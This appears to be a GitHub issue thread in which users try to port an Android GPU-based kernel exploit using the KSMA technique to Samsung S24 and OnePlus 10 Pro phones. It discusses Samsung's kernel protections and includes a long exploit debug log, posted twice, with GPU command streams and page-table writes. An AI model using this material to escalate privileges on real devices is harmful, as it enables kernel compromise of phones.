Is it possible to port this to the Samsung S24 family?

[jonahnm]

I've tried doing it on the April 2025 security patch for the S24 Ultra, however it is unable to find swapper_pg_dir.

[jonahnm]

It might be that KSMA just isn't a viable escalation chain for Samsung devices, I think Samsung's Real-time Kernel Protection protects swapper_pg_dir.

[jonahnm]

I will look into implementing a different exploit chain using the R/W.

[jonahnm]

After more research it appears the real issue is that Samsung devices have a randomized physical kernel base. If anyone is able to help me get past that, it would be much appreciated.

[UploadMaster1]

i am trying to making it to work on oneplus 10 pro 8 gen 1 i reached here so far device is already rooted but it always give segmentation fault at my target sarab@MSI:~/workdir/cheese$ adb shell /data/local/tmp/cheese1 running commands: 15 4000030000 18 70e30001 1 70438003 700011 30400 40 70d30004 febeb000 0 0 0 70138000 70268000 70738005 0 40404104 0 40403004 0 703d8003 40404100 0 41414141 found it: virt addr = 0x7152b2a000 read output: 14803fff kernel entry = aa010000 target_read_physical_address = a9ffb010 running commands: 15 4000030000 18 70e30001 1 70438003 70006b 30400 40 70d30004 febeb000 0 0 0 70138000 70268000 70738005 0 40404104 0 40405010 0 70738005 0 40404108 0 40406010 0 70738005 0 4040410c 0 40407010 0 70738005 0 40404110 0 40408010 0 70738005 0 40404114 0 40409010 0 70738005 0 40404118 0 4040a010 0 70738005 0 4040411c 0 4040b010 0 70738005 0 40404120 0 4040c010 0 70738005 0 40404124 0 4040d010 0 70738005 0 40404128 0 4040e010 0 70738005 0 4040412c 0 4040f010 0 70738005 0 40404130 0 40410010 0 70738005 0 40404134 0 40411010 0 70738005 0 40404138 0 40412010 0 70738005 0 4040413c 0 40413010 0 70738005 0 40404140 0 40414010 0 703d8003 40404100 0 41414141 second read sentinel: 41414141 second read value: 0 second read value: 0 second read value: 0 second read value: 0 second read value: 0 second read value: 0 second read value: 0 second read value: aa004003 found CHEESE_SWAPPER_PG_DIR_OFF=0x2008000 writing: aa008f00 = e8000080000741 running commands: 15 4000030000 18 70e30001 1 70438003 700011 30400 40 70d30004 febeb000 0 0 0 70138000 70268000 703d0004 40403f00 0 80000741 e80000 70268000 703d8003 40404100 0 41414141 second write sentinel: 41414141 INFO: Second write successful. Waiting for TLB flush... INFO: Triggering mprotect for TLB flush... about to ksma... DEBUG: kKernelPageTableEntry = 0x1e0 DEBUG: offset = 0x7800000000 DEBUG: base = 0xffffff8000000000 INFO: using hardcoded ksma_mapping DEBUG: ksma_mapping = 0xffffff8780000000 DEBUG: ksma_physical_base = 0x80000000 DEBUG: calculating mytarget... DEBUG: (uintptr_t)ksma_mapping - ksma_physical_base = 0xffffff8700000000 DEBUG: mytarget address = 0xffffff87a8000038 DEBUG: reading from mytarget address 0xffffff87a8000038... sarab@MSI:~/workdir/cheese$

[qianmo-xw]

i am trying to making it to work on oneplus 10 pro 8 gen 1 i reached here so far device is already rooted but it always give segmentation fault at my target sarab@MSI:~/workdir/cheese$ adb shell /data/local/tmp/cheese1 running commands: 15 4000030000 18 70e30001 1 70438003 700011 30400 40 70d30004 febeb000 0 0 0 70138000 70268000 70738005 0 40404104 0 40403004 0 703d8003 40404100 0 41414141 found it: virt addr = 0x7152b2a000 read output: 14803fff kernel entry = aa010000 target_read_physical_address = a9ffb010 running commands: 15 4000030000 18 70e30001 1 70438003 70006b 30400 40 70d30004 febeb000 0 0 0 70138000 70268000 70738005 0 40404104 0 40405010 0 70738005 0 40404108 0 40406010 0 70738005 0 4040410c 0 40407010 0 70738005 0 40404110 0 40408010 0 70738005 0 40404114 0 40409010 0 70738005 0 40404118 0 4040a010 0 70738005 0 4040411c 0 4040b010 0 70738005 0 40404120 0 4040c010 0 70738005 0 40404124 0 4040d010 0 70738005 0 40404128 0 4040e010 0 70738005 0 4040412c 0 4040f010 0 70738005 0 40404130 0 40410010 0 70738005 0 40404134 0 40411010 0 70738005 0 40404138 0 40412010 0 70738005 0 4040413c 0 40413010 0 70738005 0 40404140 0 40414010 0 703d8003 40404100 0 41414141 second read sentinel: 41414141 second read value: 0 second read value: 0 second read value: 0 second read value: 0 second read value: 0 second read value: 0 second read value: 0 second read value: aa004003 found CHEESE_SWAPPER_PG_DIR_OFF=0x2008000 writing: aa008f00 = e8000080000741 running commands: 15 4000030000 18 70e30001 1 70438003 700011 30400 40 70d30004 febeb000 0 0 0 70138000 70268000 703d0004 40403f00 0 80000741 e80000 70268000 703d8003 40404100 0 41414141 second write sentinel: 41414141 INFO: Second write successful. Waiting for TLB flush... INFO: Triggering mprotect for TLB flush... about to ksma... DEBUG: kKernelPageTableEntry = 0x1e0 DEBUG: offset = 0x7800000000 DEBUG: base = 0xffffff8000000000 INFO: using hardcoded ksma_mapping DEBUG: ksma_mapping = 0xffffff8780000000 DEBUG: ksma_physical_base = 0x80000000 DEBUG: calculating mytarget... DEBUG: (uintptr_t)ksma_mapping - ksma_physical_base = 0xffffff8700000000 DEBUG: mytarget address = 0xffffff87a8000038 DEBUG: reading from mytarget address 0xffffff87a8000038... sarab@MSI:~/workdir/cheese$

which version of your phone?

[qianmo-xw]

After more research it appears the real issue is that Samsung devices have a randomized physical kernel base. If anyone is able to help me get past that, it would be much appreciated.

https://dawnslab.jd.com/android_gpu_attack_cve_2025_21479/
about samsung devices

[hojeezila]

even when i hard code the real physical address of current boot it didin't able to write into swapper_page I think the RKP avoid writing this in the article explained a way to get stable RW. can anyone expain the approach for me?